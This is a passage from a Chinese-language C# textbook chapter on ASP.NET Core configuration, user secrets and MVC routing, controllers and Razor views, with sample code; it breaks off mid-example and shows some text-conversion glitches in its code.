使用Setxxx方法可以编写会话状态,如SetString和SetInt32。这些方法用ISession接口 定义,ISession接口从HttpContext的Session属性返回。使用Getxxx方法检索会话数据(代 码文件WebSampleApp/SessionSample.cs): public static class SessionSample { private const string SessionVisits = nameof(SessionVisits); private const string SessionTimeCreated = nameof(SessionTimeCreated); public static async Task SessionAsync(HttpContext context) { int visits = context.Session.GetInt32(SessionVisits) ? ? 0; string timeCreated = context.Session.GetString(SessionTimeCreated) ? ? string.Empty; if (string.IsNullOrEmpty(timeCreated)) { timeCreated = DateTime.Now.ToString("t", CultureInfo.InvariantCulture); context.Session.SetString(SessionTimeCreated, timeCreated); } DateTime timeCreated2 = DateTime.Parse(timeCreated); context.Session.SetInt32(SessionVisits, ++visits); await context.Response.WriteAsync( $"Number of visits within this session: {visits} " + $"that was created at {timeCreated2:T}; " + $"current time: {DateTime.Now:T}"); } }  注意: 示例代码使用不变的区域性来存储创建会话的时间。向用户显示的时 间使用了特定的区域性。最好使用不变的区域性把特定区域性的数据存储在服务器 上。不变的区域性和如何设置区域性参见第28章。 40.11 配置ASP.NET 在Web应用程序中,需要存储可以由系统管理员改变的配置信息,例如连接字符串。 下一章会创建一个数据驱动的应用程序,其中需要连接字符串。 ASP.NET Core 1.0的配置不再像以前版本的ASP.NET那样基于XML配置文件 web.config和machine.config。在旧的配置文件中,程序集引用和程序集重定向是与数据库 连接字符串和应用程序设置混合在一起的。现在不再是这样。project.json文件用来定义程 序集引用,但没有定义连接字符串和应用程序设置。应用程序设置通常存储在 appsettings.json中,但是配置更灵活,可以选择使用几个JSON或XML文件和环境变量进 行配置。 默认的ASP.NET配置文件appsettings.json从ASP.NET Configuration File项模板中添 加。项模板会自动创建DefaultConnection设置;随后添加AppSettings(代码文件 WebSampleApp/appsettings. json): { "AppSettings": { "SiteName": "Professional C# Sample" }, "Data": { "DefaultConnection": { "ConnectionString": "Server=(localdb)\\MSSQLLocalDB; Database=_CHANGE_ME; Trusted_Connection=Tr ue; " } } } 需要配置所使用的配置文件。这在Startup类的构造函数中完成。ConfigurationBuilder 类用于通过配置文件构建配置。可以有多个配置文件。 示例代码使用扩展方法AddJsonFile把appsettings.json添加到ConfigurationBuilder中。 配置设置完成后,使用Build方法读取配置文件。返回的IConfigurationRoot结果被分配给 只读属性Configuration,以便于以后读取配置信息(代码文件 WebSampleApp/Startup.cs): public Startup(IHostingEnvironment env) { var builder = new ConfigurationBuilder() .AddJsonFile("appsettings.json"); // etc. Configuration = builder.Build(); } public IConfigurationRoot Configuration { get; } // etc. 在配置中,可以使用方法AddXmlFile添加XML配置文件,使用 AddEnvironmentVariables添加环境变量,使用AddCommandLine添加命令行参数。 对于配置文件,默认使用Web应用程序的当前目录。如果需要更改目录,可以在调用 AddJsonFile方法之前调用SetBasePath方法。为了检索Web应用程序的目录,可以在构造函 数中注入IApplicationEnvironment接口并使用ApplicationBasePath属性。 40.11.1 读取配置 映射/configuration/appsettings、/configuration/database和/configuration/secret链接,读 取不同的配置值(代码文件WebSampleApp/Startup.cs): PathString remaining; app.MapWhen(context => context.Request.Path.StartsWithSegments("/configuration", out remaining), configApp => { configApp.Run(async context => { if (remaining.StartsWithSegments("/appsettings")) { await ConfigSample.AppSettings(context, Configuration); } else if (remaining.StartsWithSegments("/database")) { await ConfigSample.ReadDatabaseConnection(context, Configuration); } else if (remaining.StartsWithSegments("/secret")) { await ConfigSample.UserSecret(context, Configuration); } }); }); 现在使用IConfigurationRoot对象的索引器可以读取配置。使用冒号可以访问JSON树 的层次元素(代码文件WebSampleApp/ConfigSample.cs): public static async Task AppSettings(HttpContext context, IConfigurationRoot config) { string settings = config["AppSettings:SiteName"]; await context.Response.WriteAsync(settings.Div()); } 这类似于访问数据库连接字符串: public static async Task ReadDatabaseConnection(HttpContext context, IConfigurationRoot config) { string connectionString = config["Data:DefaultConnection:ConnectionString"] ; await context.Response.WriteAsync(connectionString.Div()); } 运行Web应用程序,访问相应的/configuration URL,返回配置文件中的值。 40.11.2 基于环境的不同配置 使用不同的环境变量运行Web应用程序(例如在开发、测试和生产过程中)时,也可 能要使用分阶段的服务器,因为可能要使用不同的配置。测试数据不应添加到生产数据库 中。 ASP.NET 4为XML文件创建转换,来定义从一个配置到另一个配置的差异。在 ASP.NET Core 1.0中,这可以通过更简单的方式实现。对于不同的配置值,可以使用不同 的配置文件。 下面的代码段添加JSON配置文件与环境名,例如appsettings.development.json或 appsettings. production.json(代码文件WebSampleApp/Startup.cs): var builder = new ConfigurationBuilder() .AddJsonFile("appsettings.json") .AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true); 在项目属性中设置环境变量或应用程序参数可以配置环境,如图40-18所示。 图40-18 为了通过编程验证托管环境,可为IHostingEnvironment定义扩展方法,例如 IsDevelopment、IsStaging和IsProduction。为了测试任何环境名,可以传递验证字符串给 IsEnvironment: if (env.IsDevelopment()) { // etc. } 40.11.3 用户密钥 只要使用了Windows身份验证,在配置文件中包含连接字符串就不是一个大问题。通 过连接字符串存储用户名和密码时,把连接字符串添加到配置文件中并存储配置文件和源 代码库就是一个大问题。使用一个公共存储库并存储Amazon密钥和配置可能会导致很快 丢失数千美元。黑客的后台任务会梳理公共GitHub库,找出Amazon密钥来劫持账户,并 创建虚拟机以制作比特币。这种情况可参见http://readwrite.com/2014/04/15/amazon-web- services-hack-bitcoin-miners-github。 ASP.NET Core 1.0有一些缓解措施:用户密钥。使用用户密钥,配置就不存储在项目 的配置文件中,而存储在与账户相关联的配置文件中。在安装Visual Studio时,会把 SecretManager安装在系统上。在其他系统中,需要安装NuGet包 Microsoft.Extensions.SecretManager。 安装SecretManager并用应用程序定义密钥后,可以使用命令行工具user-secret设置、 删除和列出应用程序中的用户密钥。 密钥存储在这个特定于用户的位置: %AppData%\Microsoft\UserSecrets 管理用户密钥的一个简单方法是使用Visual Studio的Solution Explorer。选择项目节 点,打开上下文菜单,选择Manage User Secrets。第一次在项目中选择它时,会给 project.json增加一个密钥标识符(代码文件WebSampleApp/project.json): "userSecretsId": "aspnet5-WebSampleApp-20151215011720" 这个标识符代表将在特定于用户的UserSecrets文件夹中发现的相同的子目录。Manage User Secrets命令还会打开文件secrets.json,在其中可以添加JSON配置信息: { "secret1": "this is a user secret" } 现在,只有在托管环境是开发环境时,才添加用户密钥(代码文件 WebSampleApp/Startup.cs): if (env.IsDevelopment()) { builder.AddUserSecrets(); } 这样,密钥并不存储在代码库中,只有黑客攻击系统,它们才可能被盗。 40.12 小结 本章探讨了ASP.NET和Web应用程序的基础,介绍了工具npm、gulp和Bower,以及 它们如何与Visual Studio集成。这一章讨论了如何处理来自客户端的请求,并通过响应来 应答。我们学习了ASP.NET依赖注射和服务的基础知识,以及使用依赖注入的具体实 现,如会话状态。此外还了解了如何用不同的方式存储配置信息,例如用于不同环境(如 开发和生产环境)的JSON配置,以及如何存储密钥(如云服务的键)。 第41章展示了ASP.NET MVC 6如何使用本章讨论的基础知识创建Web应用程序。 第41章 ASP.NET MVC 本章要点 ● ASP.NET MVC 6的特性 ● 路由 ● 创建控制器 ● 创建视图 ● 验证用户输入 ● 使用过滤器 ● 使用HTML和标记辅助程序 ● 创建数据驱动的Web应用程序 ● 实现身份验证和授权 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章的代码分为以下几个主要的示例文件: ● MVC Sample App ● Menu Planner 41.1 为ASP.NET MVC 6建立服务 第40章展示了ASP.NET MVC的基础:ASP.NET Core 1.0。该章介绍中间件以及依赖 注入如何与ASP.NET一起使用。本章通过注入ASP.NET MVC服务使用依赖注入。 ASP.NET MVC基于MVC(模型-视图-控制器)模式。如图41-1所示,这个标准模式 (四人组编著的书Design Patterns: Elements of Reusable Object-Oriented Software (Addison-Wesley Professional,1994)中记录的模式)定义了一个实现了数据实体和数据 访问的模型、一个表示显示给用户的信息的视图和一个利用模型并将数据发送给视图的控 制器。控制器接收来自浏览器的请求并返回一个响应。为了建立响应,控制器可以利用模 型提供一些数据,用视图定义返回的HTML。 图41-1 在ASP.NET MVC中,控制器和模型通常用服务器端运行的C#和.NET代码创建。视图 是带有JavaScript的HTML代码,另外还有一些C#代码用来访问服务器端信息。 这种分离在MVC模式中的最大好处是,可以使用单元测试方便地测试功能。控制器 只包含方法,其参数和返回值可以轻松地在单元测试中覆盖。 下面开始建立ASP.NET MVC 6服务。在ASP.NET Core 1.0中,如第40章所述,已经 深度集成了依赖注入。选择ASP.NET Core 1.0 Template Web Application可以创建一个 ASP.NET MVC 6项目。这个模板包括ASP.NET MVC 6所需的NuGet包,以及有助于组织 应用程序的目录结构。然而,这里从使用Empty模板开始(类似于40章),所以可以看到 建立ASP.NET MVC 6项目都需要什么,没有项目不需要的多余东西。 创建的第一个项目名叫MVCSampleApp。要使用ASP.NET MVC和Web应用程序 MVCSam-pleApp,需要添加NuGet包Microsoft.AspNet.Mvc。有了这个包,就可在 ConfigureServices方法中调用AddMvc扩展方法,添加MVC服务(代码文件 MVCSampleApp/Startup.cs): using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; // etc. namespace MVCSampleApp { public class Startup { // etc. public void ConfigureServices(IServiceCollection services) { services.AddMvc(); // etc. } // etc. public static void Main(string[] args) { var host = new WebHostBuilder() .UseDefaultConfiguration(args) .UseStartup<Startup>() .Build(); host.Run(); } } } AddMvc扩展方法添加和配置几个ASP.NET MVC核心服务,如配置特性(带有 MvcOptions和RouteOptions的IConfigureOptions);控制器工厂和控制器激活程序 (IControllerFactory、IController-Activator);动作方法选择器、调用器和约束提供程序 (IActionSelector、IActionInvokerFactory、IActionConstraintProvider);参数绑定器和模 型验证器(IControllerActionArgumentBinder、IObjectModel-Validator)以及过滤器提供程 序(IFilterProvider)。 除了添加的核心服务之外,AddMvc方法还增加了ASP.NET MVC服务来支持授权、 CORS、数据注解、视图、Razor视图引擎等。 41.2 定义路由 第40章提到,IApplicationBuilder的Map扩展方法定义了一个简单的路由。本章将说明 ASP.NET MVC路由基于该映射提供了一个灵活的路由机制,把URL映射到控制器和动作 方法上。 控制器根据路由来选择。创建默认路由的一个简单方式是调用Startup类中的方法 UseMvcWith-DefaultRoute(代码文件MVCSampleApp/Startup.cs): public void Configure(IApplicationBuilder app) { // etc. app.UseIISPlatformHandler(); app.UseStaticFiles(); app.UseMvcWithDefaultRoute(); // etc. }  注意: 扩展方法UseStaticFiles参见第40章。这个方法需要添加NuGet包 Microsoft.AspNet.StaticFiles。 在这个默认路由中,控制器类型的名称(没有Controller后缀)和方法名构成了路 由,如http://server [:port]/controller/action。也可以使用一个可选参数id,例如 http://server[:port]/controller/ action/id。控制器的默认名称是Home;动作方法的默认名称 是Index。 下面的代码段显示了用另一种方法来指定相同的默认路由。UseMvc方法可以接收一 个Action<IRouteBuilder>类型的参数。这个IRouteBuilder接口包含一个映射的路由列表。 使用MapRoute扩展方法定义路由: app.UseMvc(routes =< with => routes.MapRoute( name: "default", template: "{controller}/{action}/{id? }", defaults: new {controller = "Home", action = "Index"} )); 这个路由定义与默认路由是一样的。template参数定义了URL;?与id一起指定这个参 数是可选的;defaults参数定义URL中controller和action部分的默认值。 看看下面的这个网址: http://localhost:[port]/UseAService/GetSampleStrings 在这个URL中,UseAService映射到控制器的名称,因为Controller后缀是自动添加 的;类型名是UseAServiceController; GetSampleStrings是动作,代表UseAServiceController 类型的一个方法。 41.2.1 添加路由 添加或修改路由的原因有几种。例如,修改路由以便使用带链接的动作、将Home定 义为默认控制器、向链接添加额外的项或者使用多个参数。 如果要定义一个路由,让用户通过类似于http://<server>/About的链接来使用Home控 制器中的About动作方法,而不传递控制器名称,那么可以使用如下所示的代码。URL中 省略了控制器。路由中的controller关键字是必须有的,但是可以定义为默认值: app.UseMvc(routes => routes.MapRoute( name: "default", template: "{action}/{id? }", defaults: new {controller = "Home", action = "Index"} )); 下面显示了修改路由的另一种场景。这段代码在路由中添加了一个变量language。该 变量放在URL中的服务器名之后、控制器之前,如http://server/en/Home/About。可以使用 这种方法指定语言: app.UseMvc(routes => routes.MapRoute( name: "default", template: "{controller}/{action}/{id? }", defaults: new {controller = "Home", action = "Index"} ).MapRoute( name: "language", template: "{language}/{controller}/{action}/{id? }", defaults: new {controller = "Home", action = "Index"} ); 如果一个路由匹配并找到控制器和动作方法,就使用该路由,否则选择下一个路由, 直到找到匹配的路由为止。 41.2.2 使用路由约束 在映射路由时,可以指定约束。这样一来,就只能使用约束定义的URL。下面的约束 通过使用正则表达式(en)|(de),定义了language参数只能是en或de。类似于 http://<server>/en/Home/About或http://<server>/de/Home/About的URL是合法的: app.UseMvc(routes => routes.MapRoute( name: "language", template: "{language}/{controller}/{action}/{id? }", defaults: new {controller = "Home", action = "Index"}, constraints: new {language = @"(en)|(de)"} )); 如果某个链接只允许使用数字(例如,通过产品编号访问产品),那么可以使用正则 表达式\d+来匹配多个数位构成的数字,但是至少要有一个数字: app.UseMvc(routes => routes.MapRoute( name: "products", template: "{controller}/{action}/{productId? }", defaults: new {controller = "Home", action = "Index"}, constraints: new {productId = @"\d+"} )); 路由指定了使用的控制器和控制器的动作。因此,接下来就讨论控制器。 41.3 创建控制器 控制器对用户请求作出反应,然后发回一个响应。如本节所述,视图并不是必要的。 ASP.NET MVC中存在一些约定,优先使用约定而不是配置。对于控制器,也有一些 约定。控制器位于目录Controllers中,控制器类的名称必须带有Controller后缀。 创建第一个控制器之前,先创建Controllers目录。然后在Solution Explorer中选择该目 录创建一个控制器,在上下文菜单中选择Add | New Item命令,再选择MVC Controller Class项模板。对于所指定的路由,创建HomeController。 生成的代码中包含了派生自基类Controller的HomeController类。该类中包含对应于 Index动作的Index方法。请求路由定义的动作时,会调用控制器中的一个方法(代码文件 MVCSampleApp/Controllers/HomeController.cs): public class HomeController : Controller { public IActionResult Index() => View(); } 41.3.1 理解动作方法 控制器中包含动作方法。下面的代码段中的Hello方法就是一个简单的动作方法(代 码文件MVCSampleApp/Controllers/HomeController.cs): public string Hello() => "Hello, ASP.NET MVC 6"; 使用链接http://localhost:5000/Home/Hello可调用Home控制器中的Hello动作。当然, 端口号取决于自己的设置,可以通过项目设置中的Web属性进行配置。在浏览器中打开此 链接后,控制器仅仅返回字符串Hello, ASP.NET MVC 6。没有HTML,而只是一个字符 串。浏览器显示出了该字符串。 动作可以返回任何东西,例如图像的字节、视频、XML或JSON数据,当然也可以返 回HTML。视图对于返回HTML很有帮助。 41.3.2 使用参数 如下面的代码段所示,动作方法可以声明为带有参数(代码文件 MVCSampleApp/Controllers/HomeController.cs): public string Greeting(string name) => HtmlEncoder.Default.Encode($"Hello, {name}");  注意: HtmlEncoder需要NuGet包System.Text.Encodings.Web。 有了此声明,就可以通过请求下面的URL来调用Greeting动作方法,并在URL中为 name参数传递一个值:http://localhost:18770/Home/Greeting? name=Stephanie。 为了使用更易于记忆的链接,可以使用路由信息来指定参数。Greeting2动作方法指定 了参数id: public string Greeting2(string id) => HtmlEncoder.Default.Encode($"Hello, {id}"); 这匹配默认路由{controller}/{action}/{id? },其中id指定为可选参数。现在可以使用 此链接,id参数包含字符串Matthias:http://localhost:5000/Home/Greeting2/Matthias。 动作方法也可以声明为带任意数量的参数。例如,可以在Home控制器中添加带两个 参数的Add动作方法: public int Add(int x, int y) => x + y; 可以使用如下URL来调用此动作,以填充x和y参数的值: http://localhost:18770/Home/Add? x=4&y=5。 使用多个参数时,还可以定义一个路由,以在不同的链接中传递值。下面的代码段显 示了路由表中定义的另一个路由,它指定了填充变量x和y的多个参数(代码文件 MVCSampleApp/Startup.cs): app.UseMvc(routes =< routes.MapRoute( name: "default", template: "{controller}/{action}/{id? }", defaults: new {controller = "Home", action = "Index"} ).MapRoute( name: "multipleparameters", template: "{controller}/{action}/{x}/{y}", defaults: new {controller = "Home", action = "Add"}, constraints: new {x = @"\d", y = @"\d"} )); 现在可以使用如下URL调用与之前相同的动作: http://localhost:18770/Home/Add/7/2。  注意: 本章后面的41.4.1节会介绍自定义类型的参数如何使用以及客户端的 数据如何映射到属性上。 41.3.3 返回数据 到目前为止,只从控制器返回了字符串值。通常,会返回一个实现IActionResult接口 的对象。 下面是ResultController类的几个例子。第一段代码使用ContentResult类来返回简单的 文本内容。不需要创建ContentResult类的实例并返回该实例,而可以使用基类Controller的 方法来返回ActionResult。这里使用Content方法来返回文本内容。Content方法允许指定内 容、MIME类型和编码(代码文件MVCSampleApp/Controllers/ResultController.cs): public IActionResult ContentDemo() => Content("Hello World", "text/plain"); 为了返回JSON格式的数据,可以使用Json方法。下面的示例代码创建了一个Menu对 象: public IActionResult JsonDemo() { var m = new Menu { Id = 3, Text = "Grilled sausage with sauerkraut and potatoes", Price = 12.90, Date = new DateTime(2016, 3, 31), Category = "Main" }; return Json(m); } Menu类定义在Models目录中,它定义了一个包含一些属性的简单POCO类(代码文件 MVCSampleApp/Models/Menu.cs): public class Menu { public int Id {get; set; } public string Text {get; set; } public double Price {get; set; } public DateTime Date {get; set; } public string Category {get; set; } } 客户端可在响应体内看到这些JSON数据,现在它们可轻松地用作JavaScript对象: {"Id":3, "Text":"Grilled sausage with sauerkraut and potatoes", "Price":12.9, "Date":"2016-03-31T00:00:00", "Category":"Main"} 通过使用Controller类的Redirect方法,客户端接收HTTP重定向请求。之后,浏览器会 请求它收到的链接。Redirect方法返回一个RedirectResult(代码文件 MVCSampleApp/Controllers/Result-Controller.cs): public IActionResult RedirectDemo() => Redirect("http://www.cninnovation.com" ); 通过指定到另一个控制器和动作的重定向,也可以构建对客户端的重定向请求。 RedirectToRoute返回一个RedirectToRouteResult,它允许指定路由名称、控制器、动作和 参数。这会构建一个在收到HTTP重定向请求时返回客户端的链接: public IActionResult RedirectRouteDemo() => RedirectToRoute(new {controller = "Home", action="Hello"}); Controller基类的File方法定义了不同的重载版本,返回不同的类型。这个方法可以返 回FileContentResult、FileStreamResult和VirtualFileResult。不同的返回类型取决于使用的 参数,例如使用字符串返回VirtualFileResult,使用流返回FileStreamResult,使用字节数组 返回FileContentResult。 下一个代码段返回一幅图像。创建一个Images文件夹,添加一个JPG文件。为了让接 下来的代码段执行,在wwwroot目录中创建一个Images文件夹并添加文件Matthias.jpg。样 例代码返回一个VirtualFileResult,用第一个参数指定文件名。第二个参数用MIME类型 image/jpeg指定contentType参数: public IActionResult FileDemo() => File("~/images/Matthias.jpg", "image/jpeg"); 41.4节演示了如何返回不同的ViewResult变体。 41.3.4 使用Controller基类和POCO控制器 到目前为止,创建的所有控制器都派生自基类Controller。ASP.NET MVC 6也支持 POCO(Plain Old CLR Objects)控制器,它们不派生自这个基类。因此,可以使用自己的 基类来定义自己的控制器类型层次结构。 从Controller基类中可以得到什么?有了这个基类,控制器可以直接访问基类的属 性。表41-1描述了这些属性和它们的功能。 表41-1 POCO控制器没有Controller基类,但要访问这些信息,它仍然很重要。下面的代码段 定义了一个派生自object基类的POCO控制器(可以使用自己的自定义类型作为基类)。 为了用POCO类创建ActionContext,可以创建一个该类型的属性。POCOController类使用 ActionContext作为这个属性的名称,类似于Controller类所采用的方式。然而,只拥有一个 属性并不能自动设置它。需要应用ActionContext特性。使用这个特性注入实际的 ActionContext。Context属性直接访问ActionContext中的HttpContext属性。在UserAgentInfo 动作方法中,使用Context属性访问和返回请求中的User-Agent标题信息(代码文件 MVCSampleApp/Controllers/POCOController.cs): public class POCOController { public string Index() => "this is a POCO controller"; [ActionContext] public ActionContext ActionContext {get; set; } public HttpContext Context => ActionContext.HttpContext; public ModelStateDictionary ModelState => ActionContext.ModelState; public string UserAgentInfo() { if (Context.Request.Headers.ContainsKey("User-Agent")) { return Context.Request.Headers["User-Agent"]; } return "No user-agent information"; } } 41.4 创建视图 返回给客户端的HTML代码最好通过视图指定。对于本节的示例,创建了 ViewsDemoController。视图都在Views文件夹中定义。ViewsDemo控制器的视图需要一个 ViewsDemo子目录,这是视图的约定(代码文件 MVCSampleApp/Controllers/ViewDemoController.cs): public ActionResult Index() => View();  注意: 另一个可以搜索视图的地方是Shared目录。可以把多个控制器使用的 视图(以及多个视图使用的特殊部分视图)放在Shared目录中。 在Views目录中创建ViewsDemo目录后,可以使用Add | New Item并选择MVC View Page项模板来创建视图。因为动作方法的名称是Index,所以将视图文件命名为 Index.cshtml。 动作方法Index使用没有参数的View方法,因此视图引擎会在ViewsDemo目录中寻找 与动作同名的视图文件。控制器中使用的View方法有重载版本,允许传递不同的视图名 称。此时,视图引擎会寻找与在View方法中传递的名称对应的视图。 视图包含HTML代码,其中混合了一些服务器端代码。下面的代码段包含默认生成的 HTML代码(代码文件MVCSampleApp/Views/ViewsDemo/Index.cshtml): @{ Layout = null; } <! DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Index</title> </head> <body> <div> </div> </body> </html> 服务器端代码使用Razor语法(即有@符号)编写。41.4.2节将讨论这种语法。在那之 前,先看看如何从控制器向视图传递数据。 41.4.1 向视图传递数据 控制器和视图运行在同一个进程中。视图直接在控制器内创建,这便于从控制器向视 图传递数据。为传递数据,可使用ViewDataDictionary。该字典以字符串的形式存储键, 并允许使用对象值。ViewDataDictionary可以与Controller类的ViewData属性一起使用,例 如向键值为MyData的字典传递一个字符串:ViewData["MyData"] = "Hello"。更简单的语 法是使用ViewBag属性。ViewBag是动态类型,允许指定任何属性名称,以向视图传递数 据(代码文件MVCSampleApp/Controllers/SubmitDataController.cs): public IActionResult PassingData() { ViewBag.MyData = "Hello from the controller"; return View(); }  注意: 使用动态类型的优势在于,视图不会直接依赖于控制器。第16章详细 介绍了动态类型。 在视图中,可以用与控制器类似的方式访问从控制器传递的数据。视图的基类 WebViewPage定义了ViewBag属性(代码文件 MVCSampleApp/Views/ViewsDemo/PassingData.cshtml): <div> <div>@ViewBag.MyData </div> </div> 41.4.2 Razor语法 前面提到,视图包含HTML和服务器端代码。在ASP.NET MVC中,可以使用Razor语 法在视图中编写C#代码。Razor使用@字符作为转换字符。@字符之后的代码是C#代码。 使用Razor语法时,需要区分返回值的语句和不返回值的方法。返回的值可以直接使 用。例如,ViewBag.MyData返回一个字符串。该字符串直接放到HTML的div标记内: <div>@ViewBag.MyData</div> 如果要调用没有返回值的方法或者指定其他不返回值的语句,则需要使用Razor代码 块。下面的代码块定义了一个字符串变量: @{ string name = "Angela"; } 现在,使用转换字符@,即可通过简单的语法使用变量: <div>@name</div> 使用Razor语法时,引擎在找到HTML元素时,会自动认为代码结束。在有些情况 中,这是无法自动看出来的。此时,可以使用圆括号来标记变量。其后是正常的代码: <div>@(name) , Stephanie</div> foreach语句也可以定义Razor代码块: @foreach (var item in list) { <li>The item name is @item.</li> }  注意: 通常,使用Razor可自动检测到文本内容,例如它们以角括号开头或 者使用圆括号包围变量。但在有些情况下是无法自动检测的,此时需要使用@:来显 式定义文本的开始位置。 41.4.3 创建强类型视图 使用ViewBag向视图传递数据只是一种方式。另一种方式是向视图传递模型,这样可 以创建强类型视图。 现在用动作方法PassingAModel扩展ViewsDemoController。这里创建了Menu项的一个 新列表,并把该列表传递给基类Controller的View方法(代码文件 MVCSampleApp/Controllers/ViewsDemo-Controller.cs): public IActionResult PassingAModel() { var menus = new List<Menu> { new Menu { Id=1, Text="Schweinsbraten mit Knödel und Sauerkraut", Price=6.9, Category="Main" }, new Menu { Id=2, Text="Erdäpfelgulasch mit Tofu und Gebäck", Price=6.9, Category="Vegetarian" }, new Menu { Id=3, Text="Tiroler Bauerngröst'l mit Spiegelei und Krautsalat", Price=6.9, Category="Main" } }; return View(menus); } 当模型信息从动作方法传递到视图时,可以创建一个强类型视图。强类型视图使用 model关键字声明。传递到视图的模型类型必须匹配model指令的声明。在下面的代码段 中,强类型的视图声明了类型IEnumerable<Menu>,它匹配模型类型。因为Menu类在名称 空间MVCSampleApp.Models中定义,所以这个名称空间用using关键字打开。 通过.cshtml文件创建的视图的基类派生自基类RazorPage。有了模型,基类的类型就 是RazorPage<TModel>;在下面的代码段中,基类是RazorPage<IEnumerable<Menu>>。这 个泛型参数又定义了类型IEnumerable<Menu>的Model属性。代码段使用基类的Model属 性,在@foreach中遍历Menu项,为每个菜单显示一个列表项(代码文件 MVCSampleApp/ViewsDemo/PassingAModel.cshtml): @using MVCSampleApp.Models @model IEnumerable<Menu> @{ Layout = null; } <! DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>PassingAModel</title> </head> <body> <div> <ul> @foreach (var item in Model) { <li>@item.Text</li> } </ul> </div> </body> </html> 根据视图需要,可以传递任意对象作为模型。例如,编辑单个Menu对象时,模型的 类型将是Menu。在显示或编辑列表时,模型的类型可以是IEnumerable<Menu>。 运行应用程序并显示定义的视图时,浏览器中将显示一个菜单列表,如图41-2所示。 图41-2 41.4.4 定义布局 通常,Web应用程序的许多页面会显示部分相同的内容,如版权信息、徽标和主导航 结构。到目前为止,所有的视图都包含完整的HTML内容,但有一种更简单的方式管理共 享的内容,即使用布局页面。 为了定义布局,应设置视图的Layout属性。为了定义所有视图的默认属性,可以创建 一个视图启动页面。需要把这个文件放在Views文件夹中,使用MVC View Start Page项模 板创建它。这将创建_ViewStart.cshtml文件(代码文件 MVCSampleApp/Views/_ViewStart.cshtml): @{ Layout = "_Layout"; } 如果所有视图都不需要使用布局,则可以将Layout属性设置为null: @{ Layout = null; } 1.使用默认布局页 使用MVC View Layout Page项模板可以创建默认的布局页面。可以在Shared文件夹中 创建这个页面,这样它就可用于不同控制器的所有视图。项模板MVC View Layout Page创 建下面的代码: <! DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <title>@ViewBag.Title</title> </head> <body> <div> @RenderBody() </div> </body> </html> 布局页包含了所有使用该布局页的页面所共有的HTML内容,例如页眉、页脚和导 航。前面介绍了视图和控制器如何通过ViewBag通信。页面布局也可以使用相同的机制。 ViewBag.Title的值可以在内容页中定义;在布局页面中,在HTML的title元素中显示它, 如前面的代码段所示。基类RazorPage的RenderBody方法呈现内容页的内容,因此定义了 内容应该放置的位置。 在下面的代码段中,更新生成的布局页面来引用样式表,给每个页面添加页眉、页脚 和导航分区。environment、asp-controller和asp-action是创建HTML元素的标记辅助程序。 标记辅助程序参见本章后面的“辅助程序”部分(代码文件 MVCSampleApp/Views/Shared/_Layout.cshtml): <! DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <environment names="Development"> <link rel="stylesheet" href="~/css/site.css" /> </environment> <environment names="Staging, Production"> <link rel="stylesheet" href="~/css/site.min.css" asp-append-version="true" /> </environment> <title>@ViewBag.Title - My ASP.NET Application </title> </head> <body> <div class="container"> <header> <h1>ASP.NET MVC Sample App</h1> </header> <nav> <ul> <li><a asp-controller="ViewsDemo" asp-action="LayoutSample"> Layout Sample</a></li> <li><a asp-controller="ViewsDemo" asp-action="LayoutUsingSections"> Layout Using Sections</a></li> </ul> </nav> <div> @RenderBody() </div> <hr /> <footer> <p> <div>Sample Code for Professional C#</div> © @DateTime.Now.Year - My ASP.NET Application </p> </footer> </div> </body> </html> 为动作LayoutSample创建视图(代码文件 MVCSampleApp/Views/ViewsDemo/LayoutSample. cshtml)。该视图未设置Layout属性, 所以会使用默认布局。但是设置了ViewBag.Title,并在布局的HTML title元素中使用它: @{ ViewBag.Title = "Layout Sample"; } <h2>LayoutSample</h2> <p> This content is merged with the layout page </p> 现在运行应用程序,布局与视图的内容会合并到一起,如图41-3所示。 图41-3 2.使用分区 除了呈现页面主体以及使用ViewBag在布局和视图之间交换数据,还可以使用分区定 义把视图内定义的内容放在什么位置。下面的代码段使用了一个名为PageNavigation的分 区。默认情况下,必须有这类分区,如果没有,加载视图的操作会失败。如果把required 参数设为false,该分区就变为可选(代码文件 MVCSampleApp/Views/Shared/_Layout.cshtml): <! -- etc. --> <div> @RenderSection("PageNavigation", required: false) </div> <div> @RenderBody() </div> <! -- etc. --> 在视图内,分区由关键字section定义。分区的位置与其他内容完全独立。视图没有在 页面中定义位置,这是由布局定义的(代码文件 MVCSampleApp/Views/ViewsDemo/LayoutUsingSections.cshtml): @{ ViewBag.Title = "Layout Using Sections"; } <h2>Layout Using Sections</h2> Main content here @section PageNavigation { <div>Navigation defined from the view</div> <ul> <li>Nav1</li> <li>Nav2</li> </ul> } 现在运行应用程序,视图与布局的内容将根据布局定义的位置合并到一起,如图41-4 所示。 图41-4  注意: 分区不只用于在HTML页面主体内放置一些内容,还可用于让视图在 页面头部放置一些内容,如页面的元数据。 41.4.5 用部分视图定义内容 布局为Web应用程序内的多个页面提供了整体性定义,而部分视图可用于定义视图内 的内容。部分视图没有布局。 此外,部分视图与标准视图类似。部分视图使用与标准视图相同的基类。 下面是部分视图的示例。首先是一个模型,它包含EventsAndMenusContext类定义的 独立集合、事件和菜单的属性(代码文件MVCSampleApp/Models/EventsAndMenus.cs): public class EventsAndMenusContext { private IEnumerable<Event> events = null; public IEnumerable<Event> Events { get { return events ? ? (events = new List<Event>() { new Event { Id=1, Text="Formula 1 G.P. Australia, Melbourne", Day=new DateTime(2016, 4, 3) }, new Event { Id=2, Text="Formula 1 G.P. China, Shanghai", Day = new DateTime(2016, 4, 10) }, new Event { Id=3, Text="Formula 1 G.P. Bahrain, Sakhir", Day = new DateTime(2016, 4, 24) }, new Event { Id=4, Text="Formula 1 G.P. Russia, Socchi", Day = new DateTime(2016, 5, 1) } }); } } private List<Menu> menus = null; public IEnumerable<Menu> Menus { get { return menus ? ? (menus = new List<Menu>() { new Menu { Id=1, Text="Baby Back Barbecue Ribs", Price=16.9, Category="Main" }, new Menu { Id=2, Text="Chicken and Brown Rice Piaf", Price=12.9, Category="Main" }, new Menu { Id=3, 